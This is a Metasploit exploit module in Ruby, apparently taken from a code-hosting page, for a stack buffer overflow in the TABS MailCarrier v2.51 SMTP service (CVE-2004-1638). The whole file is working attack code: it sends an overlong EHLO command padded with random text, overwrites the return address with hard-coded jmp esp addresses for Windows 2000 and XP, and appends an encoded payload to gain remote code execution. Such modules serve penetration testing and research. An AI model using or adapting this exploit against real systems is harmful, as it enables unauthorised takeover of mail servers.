79 lines
2.1 KiB
Ruby
79 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'TABS MailCarrier v2.51 SMTP EHLO Overflow',
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'Description' => %q{
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This module exploits the MailCarrier v2.51 suite SMTP service.
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The stack is overwritten when sending an overly long EHLO command.
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},
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'Author' => [ 'aushack' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2004-1638' ],
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[ 'OSVDB', '11174' ],
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[ 'BID', '11535' ],
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[ 'EDB', '598' ],
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],
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'Platform' => ['win'],
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'Arch' => [ ARCH_X86 ],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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#'Space' => 300,
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'BadChars' => "\x00\x0a\x0d:",
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'StackAdjustment' => -3500,
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},
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'Targets' =>
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[
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# Patrick - Tested OK 2007/08/05 : w2ksp0, w2ksp4, xpsp0, xpsp2 en.
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[ 'Windows 2000 SP0 - XP SP1 - EN/FR/GR', { 'Ret' => 0x0fa14c63 } ], # jmp esp expsrv.dll w2ksp0 - xpsp1
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[ 'Windows XP SP2 - EN', { 'Ret' => 0x0fa14ccf } ], # jmp esp expsrv.dll xpsp2 en
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],
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'DisclosureDate' => 'Oct 26 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(25),
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Opt::LHOST(), # Required for stack offset
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])
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end
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def check
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connect
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banner = sock.get_once || ''
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disconnect
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if banner.to_s =~ /ESMTP TABS Mail Server for Windows NT/
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect
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sploit = "EHLO " + rand_text_alphanumeric(5106 - datastore['LHOST'].length, payload_badchars)
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sploit << [target['Ret']].pack('V') + payload.encoded
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sock.put(sploit + "\r\n")
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handler
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disconnect
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end
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end
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